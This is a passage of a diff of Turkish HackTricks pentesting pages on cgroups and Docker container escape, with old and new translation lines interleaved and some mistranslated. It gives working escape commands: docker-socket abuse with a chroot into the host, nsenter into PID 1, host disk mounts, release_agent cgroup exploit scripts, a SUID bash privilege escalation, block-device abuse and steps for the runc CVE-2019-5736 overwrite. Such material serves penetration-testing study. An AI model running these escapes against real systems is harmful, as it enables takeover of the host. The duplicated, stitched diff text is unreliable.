Bir değerde **max** ifadesi, cgroup için belirli bir sınırın olmadığını gösterir. Ancak, cgroup'ların hiyerarşik yapısı nedeniyle sınırlar dizin hiyerarşisinde daha düşük bir seviyede bir cgroup tarafından uygulanmış olabilir.
Bir değerde **max** belirtildiğinde, cgroup için belirli bir sınır olmadığını gösterir. Ancak, cgroup'ların hiyerarşik yapısı nedeniyle, sınırlar dizin hiyerarşisinde daha düşük bir seviyede bir cgroup tarafından uygulanmış olabilir.
### cgroup'ları Manipüle Etme ve Oluşturma
### Cgroup'ları Manipüle Etme ve Oluşturma
İşlemler, **Process ID'lerini (PID) `cgroup.procs` dosyasına yazarak** cgroup'lara atanır. Bunun için kök ayrıcalıkları gereklidir. Örneğin, bir işlem eklemek için:
```bash
@ -71,20 +72,20 @@ Benzer şekilde, **bir PID sınırı belirlemek gibi cgroup özelliklerini deği
```bash
echo 3000 > pids.max
```
**Yeni cgroups oluşturma**, cgroup hiyerarşisi içinde yeni bir alt dizin oluşturmayı içerir, bu da çekirdeği gerekli arayüz dosyalarını otomatik olarak oluşturmaya zorlar. Etkin olmayan işlemi olmayan cgroups `rmdir` ile kaldırılabilir, ancak belirli kısıtlamalara dikkat edilmelidir:
**Yeni cgroups oluşturma**, cgroup hiyerarşisi içinde yeni bir alt dizin oluşturmayı içerir, bu da çekirdeği gerekli arayüz dosyalarını otomatik olarak oluşturmaya zorlar. Etkin olmayan işlem olmayan cgroups `rmdir` ile kaldırılabilir, ancak belirli kısıtlamalara dikkat edilmelidir:
* **İşlemler yalnızca yaprak cgroups içine yerleştirilebilir** (yani, hiyerarşide en içte olanlar).
* **Bir cgroup, ebeveyninde bulunmayan bir denetleyiciye sahip olamaz**.
* **Çocuk cgroups için denetleyiciler**, `cgroup.subtree_control` dosyasında açıkça belirtilmelidir. Örneğin, bir çocuk cgroup'ta CPU ve PID denetleyicilerini etkinleştirmek için:
- **İşlemler yalnızca yaprak cgroups içine yerleştirilebilir** (yani, hiyerarşide en içte olanlar).
- **Bir cgroup, ebeveyninde bulunmayan bir denetleyiciye sahip olamaz**.
- **Çocuk cgroups için denetleyiciler**, `cgroup.subtree_control` dosyasında açıkça belirtilmelidir. Örneğin, bir çocuk cgroup'ta CPU ve PID denetleyicilerini etkinleştirmek için:
```bash
echo "+cpu +pids" > cgroup.subtree_control
```
**Kök cgroup**, doğrudan işlem yerleşimi sağlayan bu kurallardan bir istisnadır. Bu, işlemleri systemd yönetiminden kaldırmak için kullanılabilir.
**Kök cgroup**, bu kurallardan bir istisnadır ve doğrudan işlem yerleştirme izni verir. Bu, işlemleri systemd yönetiminden kaldırmak için kullanılabilir.
Bir cgroup içinde **CPU kullanımını izlemek**, toplam CPU süresinin tüketildiği `cpu.stat` dosyası aracılığıyla mümkündür, hizmetin alt işlemleri arasındaki kullanımı takip etmek için faydalıdır:
Bir cgroup içinde **CPU kullanımını izlemek** mümkündür, toplam CPU süresini gösteren `cpu.stat` dosyası, bir hizmetin alt işlemleri arasındaki kullanımı takip etmek için faydalıdır:
<figure><img src="../../../.gitbook/assets/image (908).png" alt=""><figcaption><p>CPU kullanım istatistikleri, cpu.stat dosyasında gösterildiği gibi</p></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (908).png" alt=""><figcaption><p>cpu.stat dosyasında gösterilen CPU kullanım istatistikleri</p></figcaption></figure>
## Referanslar
* **Kitap: How Linux Works, 3. Baskı: Her Süper Kullanıcının Bilmesi Gerekenler, Yazar: Brian Ward**
* **Kitap: How Linux Works, 3. Baskı: Her Süper Kullanıcının Bilmesi Gerekenler - Brian Ward**

View file

@ -1,23 +1,24 @@
# Docker Kaçışı / Ayrıcalık Yükseltme
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
@ -26,14 +27,14 @@ Bugün Erişim Alın:
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri numaralandırabilir**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri numaralandırmak için oldukça **yararlıdır ve hatta otomatik olarak kaçmaya çalışır**
* [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç, bundan kaçış yollarını bulmak için
* [**amicontained**](https://github.com/genuinetools/amicontained): Kaçmak için yollar bulmak için konteynerin sahip olduğu ayrıcalıkları almanıza yardımcı olan faydalı bir araç
* [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden numaralandırmak ve kaçmak için araç
* [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın
## Bağlanmış Docker Soketinden Kaçış
Eğer **bir şekilde docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\
Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemonına bağlanması gereken docker konteynerlerinde meydana gelir.
Eğer bir şekilde **docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\
Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemon'a bağlanması gereken docker konteynerlerinde meydana gelir.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
@ -54,10 +55,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
{% hint style="info" %}
Eğer **docker soketi beklenmedik bir konumdaysa**, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak onunla iletişim kurabilirsiniz.
Eğer **docker soketi beklenmedik bir yerde** bulunuyorsa, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak iletişim kurabilirsiniz.
{% endhint %}
Docker daemon ayrıca bir portta da dinlenebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir.
Docker daemon ayrıca bir portta da dinleyebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir.
{% hint style="info" %}
Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma soketlerine dikkat edin:
@ -74,7 +75,7 @@ Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma soketlerine
Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdaki yeteneklerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Şu anda konteynerin yeteneklerini kontrol edebilirsiniz **daha önce bahsedilen otomatik araçlar** veya:
Şu anda konteyner yeteneklerini kontrol edebilirsiniz **daha önce bahsedilen otomatik araçlar** veya:
```bash
capsh --print
```
@ -98,31 +99,31 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağı eklenerek veya belirli sa
* `--cgroupns=host`
* `/dev` bağlama
`--privileged` bayrağı konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun.
`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun.
{% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md)
{% endcontent-ref %}
### Ayrıcalıklı + hostPID
### Privileged + hostPID
Bu izinlerle, sadece şu komutu çalıştırarak (pid:1) gibi kök olarak çalışan bir işlem olan init'in ad alanına geçebilirsiniz: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Bu izinlerle sadece **kök olarak çalışan bir işlem alanına geçebilirsiniz** örneğin init (pid:1) gibi, sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Bunu bir konteynerde test ederek çalıştırın:
Bunu bir konteynerde test ederek gerçekleştirin:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Ayrıcalıklı
Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanmayı deneyebilirsiniz**.
Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmayı** deneyebilirsiniz.
Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin:
Aşağıdaki atlamaları bir konteynerde test edin:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Diski Bağlama - Poc1
İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı belirtildiğinde, ana sürücüyü görmek için ayrıcalıklara sahip olmak mümkündür.
İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı büyük harflerle belirtildiğinde, ana sürücüyü görmek için ayrıcalıklara sahip olmak mümkündür.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
@ -135,7 +136,7 @@ Ve işte! Artık ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağ
#### Disk Bağlama - Poc2
Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimine erişmeye çalışabilir ve bu yolla altta yatan ana bilgisayara erişmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır:
Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimini kullanarak altta yatan ana bilgisayar işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -156,9 +157,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Yetkilendirilmiş Kaçış Varolan release\_agent Kullanımı ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Ayrıcalıklı Kaçış Var Olan release\_agent Kullanımı ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
{% code title="Başlangıç PoC" %}
{% code title="İlk PoC" %}
```bash
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -242,9 +243,9 @@ cat /output
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}
#### Bilinen göreceli yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kaçış - PoC3
#### Bilinen yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kaçış - PoC3
Önceki saldırılarda **konumun mutlak yolu** açıklanmıştır. Bununla birlikte, bu her zaman geçerli değildir. **Ana bilgisayar içinde konteynerin mutlak yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz:
Önceki saldırılarda **konumunun kesin yolu** açıklanmıştır. Bununla birlikte, her zaman böyle olmaz. **Ana bilgisayar içindeki konteynerin kesin yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@ -308,7 +309,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak benzer bir çıktı sağlamalıdır:
İçinde ayrıcalıklı bir konteynerde PoC'yi çalıştırmak benzer bir çıktı sağlamalıdır:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -338,8 +339,8 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
```
#### Ayrıcalıklı Kaçış Hassas Bağlantıları Kötüye Kullanma
Altta yatan ana bilgisayar hakkında bilgi veren **bazı dosyaların bağlanmış olabileceği** birkaç dosya bulunmaktadır. Bazıları, hatta **ana bilgisayar tarafından bir şeyler gerçekleştiğinde yürütülecek bir şeyi işaret edebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\
Bu dosyaların kötüye kullanımı şunlara neden olabilir:
Altta yatan ana bilgisayar hakkında bilgi veren **çeşitli dosyalar** bağlanabilir. Bazıları, hatta **ana bilgisayar tarafından bir şeyin gerçekleştiğinde yürütülmesi gerektiğini belirtebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\
Bu dosyaların kötüye kullanımı şunu mümkün kılar:
* release\_agent (önceden ele alındı)
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
@ -347,7 +348,7 @@ Bu dosyaların kötüye kullanımı şunlara neden olabilir:
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz:
Ancak, bu sayfada kontrol etmek için **diğer hassas dosyaları** bulabilirsiniz:
{% content-ref url="sensitive-mounts.md" %}
[sensitive-mounts.md](sensitive-mounts.md)
@ -355,14 +356,14 @@ Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz:
### Keyfi Bağlantılar
Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını** göreceksiniz. Bu birim doğru şekilde yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin...
Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını** göreceksiniz. Bu birim doğru yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin...
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### 2 kabuk ve ana makine bağlantısı ile Yetki Yükseltme
### 2 kabuk ve ana bilgisayar bağlama ile ayrıcalık yükseltme
Eğer **ana makineden bağlanmış bir klasöre sahip bir konteyner içinde root erişiminiz** varsa ve **ana makinede ayrıcalıklı olmayan bir kullanıcı olarak kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\
**Konteyner** içinde **bağlanmış klasöre** bir **bash suid dosyası** oluşturabilir ve **bu dosyayı ana makineden çalıştırarak** ayrıcalık yükseltebilirsiniz.
Eğer **ana bilgisayar tarafından bağlanmış bir klasöre sahip bir konteyner içinde root erişiminiz varsa** ve **ana bilgisayar üzerinde ayrıcalıklı olmayan bir kullanıcı olarak kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\
**Konteyner** içinde **bağlanmış klasörde bir bash suid dosyası oluşturabilir** ve bunu **ana bilgisayar üzerinden çalıştırarak ayrıcalık yükseltebilirsiniz**.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -372,10 +373,9 @@ bash -p #From non priv inside mounted folder
```
### 2 kabuk ile Yetki Yükseltme
Eğer bir konteyner içinde **root erişiminiz** varsa ve **imtiyazsız bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğiniz varsa (varsayılan olarak vardır) ve [bu yazıda açıklandığı gibi](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/), her iki kabuğu da kötüye kullanarak ana makinede **yetki yükseltebilirsiniz**.\
Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma** izni verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verileri okumaya** izin verir.
Eğer bir konteyner içinde **root erişiminiz** varsa ve **özneleşmiş bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) her iki kabuğu da kötüye kullanarak ana makinede **yetki yükseltebilirsiniz**. Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma** izni verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verileri okuma** izni verir.
Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlar, blok cihazı okuma/yazma işlemlerini **engelleyen bir cgroup politikası uygular**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, iç ve dış konteynerdeki **işlem sahibinin aynı olmasını** gerektirir.
Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlar, blok cihazı okuma/yazma işlemlerini engelleyen bir cgroup politikasını **uygular**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, iç ve dış konteynerdeki **işlem sahibinin aynı olmasını** gerektirir.
Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) verilen **sömürü** örneği:
```bash
@ -440,35 +440,35 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
Ayrıca **işlemleri sonlandırabilir ve bir Hizmet Reddi (DoS) saldırısına neden olabilirsiniz**.
Ayrıca **işlemleri sonlandırabilir ve Bir Hizmet Reddine (DoS) neden olabilirsiniz**.
{% hint style="warning" %}
Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target <pid> --all` veya `nsenter --target <pid> --mount --net --pid --cgroup` gibi bir şey çalıştırabilir ve umarım hiçbiri olmayan aynı ns kısıtlamalarına sahip bir kabuk **çalıştırabilirsiniz.**
Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target <pid> --all` veya `nsenter --target <pid> --mount --net --pid --cgroup` gibi bir şey çalıştırabilir ve **umarım olmayan** aynı ns kısıtlamalarına sahip bir kabuk çalıştırabilirsiniz.
{% endhint %}
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**.
Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynerin ayrılmış bir IP adresi tahsis edilmez. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinde ana bilgisayarın gönderdiği ve aldığı **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**.
Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtecilik yapabilirsiniz**.
Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtekarlık yapabilirsiniz**.
Aşağıdaki örneklerde olduğu gibi:
* [ıklama: Google SRE ile nasıl iletişime geçilir: Bulut SQL'de bir kabuk bırakma](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Meta veri servisi MITM, kök ayrıcalık yükseltmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
Ayrıca ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine erişebileceksiniz** (bu, bir konteynerin erişebileceğinden farklı olabilir).
Ayrıca ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine** erişebileceksiniz (bu, bir konteynerin erişebileceğinden farklı olabilir).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül işlemleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` komutunu kullanın.
`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` komutunu kullanın.
* **/dev/shm'yi İncele** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm`
* **Mevcut IPC tesislerini İncele** - Herhangi bir IPC tesisinin kullanılıp kullanılmadığını `/usr/bin/ipcs` ile kontrol edebilirsiniz. Şunu kontrol edin: `ipcs -a`
* **Mevcut IPC tesislerini İncele** - Kullanılan herhangi bir IPC tesisinin olup olmadığını kontrol edebilirsiniz `/usr/bin/ipcs` ile. Şunu kontrol edin: `ipcs -a`
### Yetenekleri Kurtar
@ -480,7 +480,7 @@ cat /proc/self/status | grep CapEff
```
### Kullanıcı ad alanı kötüye kullanımı simge bağlantısı aracılığıyla
İkinci teknik, [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) gönderisinde açıklanan, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkileyebileceğinizi (belirli bir durumda dosyaları silmek) göstermektedir.
[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkilemenize (belirli bir durumda dosyaları silmenize) olanak tanır.
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
@ -493,32 +493,32 @@ Bugün Erişim Alın:
### Runc açığı (CVE-2019-5736)
Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'yi kötüye kullanarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (açık [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, böylece docker exec çalıştıran herkes tetikleyebilir.
Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'yı kötüye kullanarak ayrıcalıkları yükseltmeye çalışabilirsiniz (açık [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, bu sayede docker exec çalıştıran herkes yükleyiciyi tetikleyebilir.
Payload'ı değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\
Yürütme sırasında, `[+] Overwritten /bin/sh successfully` anında aşağıdakileri ana makineden yürütmeniz gerekmektedir:
Yükleyiciyi değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\
Yürütme sırasında, `[+] Overwritten /bin/sh successfully` göründüğünde, aşağıdakini ana makineden yürütmeniz gerekmektedir:
`docker exec -it <container-adı> /bin/sh`
Bu, main.go dosyasında bulunan payload'ı tetikleyecektir.
Bu, main.go dosyasında bulunan yükleyiciyi tetikleyecektir.
Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %}
Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulunabilir.
Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [burada](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) bulunabilir.
{% endhint %}
## Docker Özel Kaçış
### Docker Kaçış Yüzeyi
* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınılamaz (varsayılan olarak IPC'ler aracılığıyla iletişim kurulamaz, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u).
* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınamayız (varsayılan olarak IPC'ler aracılığıyla iletişim kuramaz, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u).
* **Kök kullanıcı**: Varsayılan olarak işlemi çalıştıran kullanıcı kök kullanıcıdır (ancak ayrıcalıkları sınırlıdır).
